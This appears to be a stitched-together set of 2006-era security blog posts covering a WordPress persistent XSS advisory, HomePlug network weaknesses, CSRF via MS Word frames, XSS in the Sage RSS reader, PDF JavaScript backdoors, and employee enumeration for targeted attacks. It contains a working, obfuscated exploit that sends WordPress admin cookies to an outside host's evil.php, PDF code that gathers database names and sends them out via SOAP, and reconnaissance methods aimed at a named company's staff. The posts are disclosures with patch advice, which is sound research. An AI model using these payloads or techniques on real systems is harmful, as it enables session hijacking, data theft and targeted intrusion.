This got me toying with the idea of a timing attack to bypass the same-origin policy. The basic idea behind this attack is utilising the difference in timing between the DOM and the browser’s network API. I did not succeed in this endeavor but the concept was cool. Bringing race condition vulnerabilities to the browser context would truly open the *nyx boys eyes.

What I did find was that it is possible to kill IE7 :)

DNS Pinning hacks seem unreliable and very targetted. I am in search of something more flexible and powerful to enable cross-domain, bi-directional XSS capabilities. For now these lie in compromising browser plugins (Greasemonkey scripts etc), or in third party applications.

Its been a few days since the release of:
http://michaeldaw.org/md-hacks/wordpress-persistent-xss/.

Other references:

• http://www.securityfocus.com/bid/21782
• http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-6808

Time to release a proof of concept exploit for this. I am sure the crackers will already be exploiting this in the wild.

If you remember from my original advisory, our attack was limited due to our attack being passed through PHP’s basename function. To get around this we borrow the characters from document.location. I wanted an exploit that was simple and compact.

I created two HTML files to aid in my research, Injection.html and Recover.html.

First: Inject.html

This is our actual exploit (we use a nested IMG exploit):

<
        img src='https://wordpress-site/wp/wp-admin/templates.php?file=<
        img src=%27%27 onerror="javascript:
        var s=(document.location.toString().charAt(6));
        var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27);
        document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">'
>

Second: Recover.php

If we mess up we may create an annoying, persistent redirect that prevents us access to the templates.php file. So this next HTML file simply resets our templates.php file using the same injection point.

<img src="https://wordpress-site/wp/wp-admin/templates.php?file=a">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=b">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=c">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=d">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=e">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=f">

Job done; all that is required is for an attacker to setup a file on a remote server to capture the cookies.

Conclusion

I hope this article “strongly” encourages WordPress users to apply the latest patch ASAP! Another attack vector I was thinking of was injecting PHP code straight into the WordPress Installation. I can see really bad worm potential with this vulnerability. I stress again, apply the patch.

Vulnerability Title: WordPress Persistent XSS
Author: David Kierznowski
Homepage: http://michaeldaw.org
Software Vendor: WordPress Persistent XSS
Versions affected: Confirmed in v2.0.5 (latest)

WordPress is a popular open source blogging software.
A persistent XSS vulnerability has been found in WordPress (to be honest I have found a few problems and hope to publish these soon). This issue affects the latest version v2.0.5.

Discussion:
When editing files a shortcut is created titled ‘recently accessed files’. The anchor tag text is correctly escaped with wp_specialchars(); however, the link title is not sanitised. Instead, it is passed to get_file_description($file). The only restriction or limitation here is that our text is passed through basename. This means standard script tags will fail when ending with ‘/’. We can get around this by using “open” IMG tags; this works under FF and IE.

Vulnerable code:
wp-admin/templates.php:

[line 22]$recents = get_option('recently_edited');
[line 72]update_recently_edited($file);
[Line 116]:foreach ($recents as $recent) :
        echo "<li><a href='templates.php?file="
          . wp_specialchars($recent, true) . "'>"
          . get_file_description(basename($recent))
          . "</a></li>";

Vulnerable function:

function get_file_description($file) {
        global $wp_file_descriptions;

        if (isset ($wp_file_descriptions[basename($file)])) {
                return $wp_file_descriptions[basename($file)];
        }
        elseif (file_exists(ABSPATH.$file)) {
                $template_data = implode('', file(ABSPATH.$file));
                if (preg_match("|Template Name:(.*)|i",
                   $template_data, $name))
                        return $name[1];
        }
        return basename($file);
}

Proof of concept:

https://blogsite/wp/wp-admin/templates.php?file=%3Cimg%20src=''
           onerror=javascript:alert(document.cookie);%3E

Temp Fix:
Comment out the following line in wp-admin/templates.php
[Line 72] update_recently_edited($file);

WordPress was contacted: 26/12/06 22:04 BST
Reply received: 27/12/06 06:11 BST
WordPress has fixed this for v2.0.6 and a patch has been released
for v2.0.5, see
http://trac.wordpress.org/changeset/4665

“Officials at Intellon, the chip maker that developed the HomePlug spec, say that hacking into a HomePlug network would require cracking the government’s DES encryption standard.” – link

My favourite:

“HomePlug specification products also protect data by utilizing powerful DES encryption, which makes hacking into a HomePlug network virtually impossible.” – link

If you are not sure what a HomePlug network is then maybe the following diagram will help:

As you can see above, HomePlug’s in many cases can replace a Wireless infrastructure or work along side it (i.e. your house or office has thick walls weakening the signal). You simply plug it into your wall socket and attach a network lead to it.

Now I didn’t really spend ages on coming up with advanced hacking techniques for these things. It would be overkill me thinks. These devices are insecure in their default state. They are also insecure in their “secured” state.

So lets put our attack together:
1. HomePlug Detection & Enumeration
2. Exploitation in its default state
3. Exploitation in its “secured” state
4. Hacker Countermeasures

1. HomePlug Enumeration

You need a compatible HomePlug to start. A single plug can cost between £20 – £30. Ensure that the plug is HomePlug v1.0 certified or you will most likely fail in your endeavor.

You will then require a target, testing your own network is easy enough, attackers will most likely test your network from an outside wall socket.

Install the software that comes with the plug – this software was exactly same with both my HomePlug makes (other then a few logo changes). Plug your HomePlug into the wall socket of the network you what to connect to. Load up the software and simply click “Scan Powerlines Network”. You could also just load a sniffer and check if your rogue plug has already joined the network.

2. Exploitation in its default state

I couldn’t find the v1.0 specification rfc, but it was trivial to work out that all these devices use a default network key of “HomePlug” to start with. Obviously this was done to allow for plug and play. Load up your sniffer and monitor network traffic. If the default key is used you should see NetBIOS broadcasts etc. Job done.

3. Exploitation in its “secured” state

56-bit DES encryption may have been considered cryptographically strong in the stone ages but not today.

Even though 56-Bit DES encryption (2^56 possible keys) is breakable, it may take a fair chunk of time to crack – although Rainbowtables has made this alot easier. Personally, I would try some weak passwords to begin with.

4. Hacker Countermeasures

Do the obvious. Use a very strong key to secure your HomePlug’s. Ensure thats your network devices are firewalled. Hopefully the newer versions will provide stronger encryption options.

Update: 15/12:
CSRF in MS Word part II
Update 28/11:
It is interesting to note that MS Word 2003 will actually warn the user. Obviously, someone at Microsoft saw the potential for badness here. Good stuff.

Microsoft Word has been plagued with vulnerabilities in the past. Therefore, mail servers often restrict email with the .doc extension. However, with applications like Microsoft SharePoint which allows sharing of content between users, the door is opened just slightly to allow for deviance. This article demonstrates using Microsoft Word in Cross Site Request Forgery (CSRF) Attacks.

Our attack vector is found in exploiting MSWord’s frame capabilities: By creating malicious frames in a document and pointing them to a malicious URL, we can exploit multiple, persistent CSRF vulnerabilities (and possibly the browser). The cool part? This all happens transparently with no warnings to the user. Also, this IMG tag can be hidden within a document which means that our malicious code is executed everytime the document is opened. Furthermore, an attacker can use either 302 redirects or modify the infected HTML file to alter his/her targets array. This means our payload can be updated from the attackers end.

This is how we do it:

1. Create new document
2. Goto Insert > Format > Frames >
3. Right Click on the frame > Frame Properties >
4. Set hyperlink to our exploit page which contains malicious IMG tags.

An example target HTML file can be seen below:

<html>
<body>
<img src="http://non-existent/login.php?changepass=123&verify=123" alt=""  />
</body>
</html>

Obviously curious about how MS Word communicates, I sniffed the connection:

GET /login.php?changepass=123&verify=123 HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: non-existent
Connection: Keep-Alive
Cookie: blah

As we can see, it is using Internet Explorer to fetch these pages. With some creativity other exploitation techniques may be possible (i.e. ActiveX exploitation). However, attacks are limited due to scripting being disabled by default. Thus we see that MS Word can be used to launch multiple, persistent (well almost) CSRF attacks.

Tested using: MS Word 2000.
Expect a part 2 :)

2 months ago, both pdp any myself released a vulnerability “Cross Context Scripting in Sage”. This issue was resolved in Sage release 1.3.7 (see: http://mozdev.org/bugs/show_bug.cgi?id=15101). I found a new vulnerability which affects the latest version, Sage 1.3.8. In addition to the XSS vulnerability, it should be noted (as in the previous vulnerability) that this issue occurs within the Local Browser Context.

Background:
A number of popular online RSS readers allow images to be embedded within Feeds. It has been known for some time now, that the amount of people subscribed to your feed can be determined by using the image src functionality. This is interesting from an anonymity point of view. I was curious to know just how well these applications would prevent and/or restrict the “img onload” features.

Ironically, Sage seems to handle this quite well. It removes any “onload” attribute within an IMG element. Sage also completely removes offending JavaScript code. However, it fails to remove the script tags when inserted within the IMG element. In addition to this, it will actually end the IMG element for us. For example:

<img src=”http://michaeldaw.org/images/jss.jpg” <script>alert(’blah’);</script> ></img>
becomes:
<img src=”http://michaeldaw.org/images/jss.jpg” > <script>alert(’blah’);</script> </img>
Notice the trailing > is removed and added before our JavaScript code.

A proof of concept feed can be found here.
This feed will open “/etc/passwd” for Linux users and “…./etc/hosts” for MS Windows users. Please note I have not tested the Windows feed.

Targeted Web Attacks
Part 2 of Social Networks the New Fingerd
Author david.kierznowski_at_gmail.com
http://michaeldaw.org

1. Introduction

I recently released an article titled, “Social networks the New FingerD”. This article gave an example of using LinkedIn in passive username enumeration attacks. This article will discuss using Search engines and OpenPGP key servers as additional enumeration resources. None of these ideas are new, but in my opinion require a bit more light, especially when looking at RSnake’s recent XSS Top Vulnerability post

2. Purpose
At the moment XSS attack scenarios are very broad. XSS to create a botnet or propogate a worm etc etc. There is no real direction toward actual focused XSS exploitation. In theory one could own the continent(s) and then filter out specific targets, but lets face it, this is probably not the smartest thing to do.

3. The How?
My initial thoughts on targeted Web attacks “from the Internet” include some of the following ideas:

Backdooring the Company Homepage
Many users have their browser’s default (or startup) page set to the company website. However, this may not work in some cases as internal users often connect to an Intranet website rather then an Internet website. Another solution to this problem may be to backdoor another website associated with the company (i.e. company webmail, or Citrix Gateway).

Information Gathering Attacks
In most cases, specific exploitation requires fore-knowledge of our target. For example, Jane Daw works at company X as a legal secretary. Once this information is known any number of “specific” attacks can be launched. These attacks can occur via HTTP, Email, social engineering and password brute forcing to name a few.

Over the last month, pdp (architect) and I (was that the right way round, can never remember) have been working on backdooring a number of web technologoies. So far our list includes:
* Web Pages
* Flash
* Quicktime
* PDF
* MP3 (Although this uses Quicktime)

So the question still remains, what web resources do we have available to us to passively enumerate users within an organisation?

We have already discussed using Social Networks such as LinkedIn. Two other possibilities are as follows:
* Public Key Servers
* Search Engines

3.1 Public Key Servers

Public key servers allows a single repository for users to store their public keys on the Internet. This allows users to encrypt email between two parties easily without having to hastle the recipient for their public keys.

This service is an excellent resource to enumerate employee details within an organisation.

Example search for google.com using “http://keyserver.veridis.com:11371“:

--snip--
 Results 1 - 30 of about 41 for google.com. (0.019 seconds)
	Key(s) 	Key ID 	Size 	Creation 	Expiration

*hidden* *hidden*@google.com 	0x4F79C91B 	4096/1024 	2006/06/13 	2011/06/12
*hidden* *hidden*@google.com 	0x8475A4CF 	2048/1024 	2001/05/07 	Never
*hidden* *hidden*@google.com 	0x9038F60E 	2048/1024 	2001/02/20 	Never
*hidden* *hidden*@google.com 	0xE617F27A 	1024 	2005/07/13 	2006/07/13
*hidden* *hidden*@inodes.org 	0xD02F8773 	1024/1024 	2000/03/08 	Never
*hidden* *hidden*@google.com	0x20C9885A 	2048/1024 	2005/10/12 	Never
*hidden* *hidden*@red-bean.com 	0xEC6B5156 	1024/1024 	1998/11/09 	Never
*hidden* *hidden*@google.com 	0x4E844EF3 	1024 	2005/07/27 	2006/07/26
*hidden* *hidden*@google.com 	0x2349D344 	2048/1024 	2005/12/06 	2007/12/06
*hidden* *hidden*@google.com 	0x438046E4 	2048/1024 	2005/12/12 	Never
--snip--

3.2 Search Engine

Search engines when used correctly can yield very sensitive information. For more information on this see: http://johnny.ihackstuff.com/.

4. Tools

I was thinking about writing a tool to automate these checks, however, when bouncing it off pdp (architect), I found he had already done the work.

His tool is a little outdated but provides support for both Google and OpenPGP checks. It can be found at the following URL:
http://www.gnucitizen.org/projects/met/

Ring, ring…

“Hello?”
“Hi, I’m looking for Michael Daw?”
“Speaking, how may I help you?”
“Hi Michael, my name is Ian Lambert. I am a member of Pittman’s Recruitment. We specialise in security recruiting. We have a common acquaintance, Peter Smith?”
…

“Isn’t it true, its not what you know but who you know” I thought to myself as I put the phone down.

A spark went off in my head as I pondered over my conversation with Ian. How much information is available on social networks? My next question dismissed the first, “Why would I care?” I sat back in my comfortable lazy boy chair and let out a big sigh.

The old Unix finger daemon popped into my head. This service running on (79/TCP) allowed remote users to query a server for logged in users. Back in the day attackers loved this service. It meant they could remotely enumerate valid usernames. I logged into my Unix server to remind myself of the information disclosed via this service:

$ finger
Login     Name       	Tty      Idle  Login Time   Office     Office Phone
root      superman   	pts/0          Sep 11 18:11 (10.10.1.5)
michael  Michael Daw	pts/1          Sep 11 22:19 (10.10.1.90)

$ finger michael
Login: michael                              Name: Michael Daw
Directory: /home/michael                   Shell: /bin/bash
On since Sun Sep 11 18:11 (BST) on pts/0 from 10.10.1.90
   2 minutes 25 seconds idle
On since Sun Sep 11 22:19 (BST) on pts/1 from 10.10.1.90
New mail received Sun Sep 11 22:20 2006 (BST)
     Unread since Fri Aug 25 22:13 2006 (BST)
No Plan.

I then logged into LinkedIn.com, which is an Internet social network service, used mostly for business connections. It has over 2.5 million registered users, including 630,000 in Europe and 170,000 in Asia. Social networks were appearing everywhere. They included sites such as, www.facebook.com, www.myspace.com, www.classmates.com, www.sixdegrees.com, and www.friendster.com, to name a few.

A grin crossed my face as my eyes fell upon the “Search by company” option. I clicked my fingers and entered, Google (my favourite prey):

We found 17 users in your network matching your criteria:

    * Users currently at: google
    * Sorted by: keyword relevance

Who needs Finger I chuckled.

This was one technique that could be used in Targeted XSS Attacks using only HTTP (Hackers Totally Trusted Protocol).

References:
http://en.wikipedia.org/wiki/LinkedIn

Updates:

• 20/09/07 – PDP’s PDF URI Parsing Vulnerability
• 04/01/06 – New PDF Vulnerability

Recently, there has been alot of hype involving backdooring various web technologies. pdp (arcitect) has done alot of work centered around this area.

I saw Jeremiah Grossman mention PDF’s being “BAD”, however, I was unable to easily locate any practical reasons as to why. I decided to investigate this a little further.

At first glance PDF documents seem obviously vulnerable. This is due to the fact that it supports JavaScript. However, there are quite a few twists and turns. It is by no means as straight forward as this.

Adobe supports its own JavaScript object model. For example, “alert(’xss’)” must be called from the app object, so this becomes “app.alert(’xss’)”. This means JavaScript attacks are limited to the functionality supported within Adobe. Secondly, Adobe Reader and Adobe Professional (the two apps I focus on in this article) are very different with regards to which JavaScript objects are allowed.

This article will give two practical examples of how Adobe Professional and Adobe Reader can be backdoored. There are 7 or more points where an attacker can launch malicious code. Both of the attacks discussed below are attached to the “Page Open” event.

The trigger can be accessed via “Page Properties | Actions tab”.

The first attack is simple and affects both Adobe Reader and Adobe Professional. It involves adding a malicious link into the PDF document. Once the document is opened, the user’s browser is automatically launched and the link is accessed. At this point it is obvious that any malicious code be launched. It is interesting to note that both Adobe 6 & 7 did not warn me before launching these URLs.

The second attack involves utilising Adobe’s ADBC (Adobe Database Connectivity) and Web Services support. The following proof of concept code accesses the Windows ODBC, enumerates available databases and then sends this information to “localhost” via the web service.

var cURL = "http://localhost/";
var cTestString = "";

var databaseList = ADBC.getDataSourceList();

var DB = "";
  if (databaseList != null) {
    for (var i=0; i<databaseList.length ; i++)
     DB+=databaseList[i].name;
   }

 cTestString = DB;

 var response = SOAP.request( {
   cURL: cURL,
   oRequest: {
     "http://myxmlns/:echoString": {
      inputString: cTestString
     }
   },
 cAction: "http://additional-opt/"
});

var result = response["http://no-need/:echoStringResponse"]["return"];

On the server side we get this:
$ ./nc.exe -l -p 80 -v
listening on [any] 80 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 1924
POST / HTTP/1.1
Accept: */*
Content-Type: text/xml; charset=UTF-8
SOAPAction: "http://additional-opt/"
Content-Length: 578
User-Agent: Mozilla/3.0 (compatible; Acrobat SOAP 7.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xm
lns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w
3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOA
P-ENV:Body><ns0:echoString SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/so
ap/encoding/" xmlns:ns0="http://myxmlns/"><inputString xsi:type="xsd:string">MS
Access 97 DatabaseFoxPro FilesText FilesMS Access DatabaseExcel FilesdBASE Files
dbase1</inputString>
</ns0:echoString>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

I am sure with a bit more creativity even simpler and/or more advanced attacks could be put together. Adobe Acrabat supports, “HTML forms”, “File system access” and the list goes on.
One of the other interesting finds was the fact that you can backdoor all Adobe Acrabat files by loading a backdoored JavaScript file into your %ADOBE-VERSION-DIR%\Acrobat\Javascripts directory.

Proof of concept for example 1 can be found here.
Proof of concept for example 2 can be found here.

Update:
http://michaeldaw.org/md-hacks/rss-injection-in-sage-part-2/

I would often keep abreast of new vulnerabilities and exploits via my RSS feeds. Visiting page after page was just never fun. RSS allowed me to categorise, organise and track the security mayhem on the Internet. What was the point of employing a security analyst who was outdated and outgunned?

I decided to play with Sage, which is a popular RSS extension for Mozilla Firefox. It had a friendly interface and a nice option to turn HTML tags on and off. This was a feature I was certainly interested in. It meant I could prevent a number of attacks outlined by SPI Dynamic’s recent RSS Injection whitepaper. The recommendation given in this paper was the typical recommendation given to XSS attacks. Escape “<>” to “&lt; &gt;”

I turned off HTML tags and continued on as normal. However, something odd happened. When rendering my whitepaper “Awakening the Sleeping Giant” an insert of JavaScript was executed in my browser. How bazaar I thought. The security enabled feature makes me vulnerable. Sage was vulnerable to XSS! I immediately contacted pdp (architect). We worked on it for 30 minutes and for those 30 minutes all you could hear were sinister laughs.

First: Sage rendered “&lt,&gt” as “<>”. This means JavaScript can be executed when HTML tags are turned off (not the default).

Second: Logical mental progression put forward the question, what if we reversed it? “&lt, &gt” became “<>” when HTML tags were turned on (THE DEFAULT). This means we can effectively hack the latest version of Sage via RSS Injection regardless of which mode is set.

Thirdly: Sage converts the feed into an HTML file and stores it on the local system. This means we were now in the browser’s local zone policy. From here we could read any file from the local system.

See GNUCITIZEN more proof of concept example.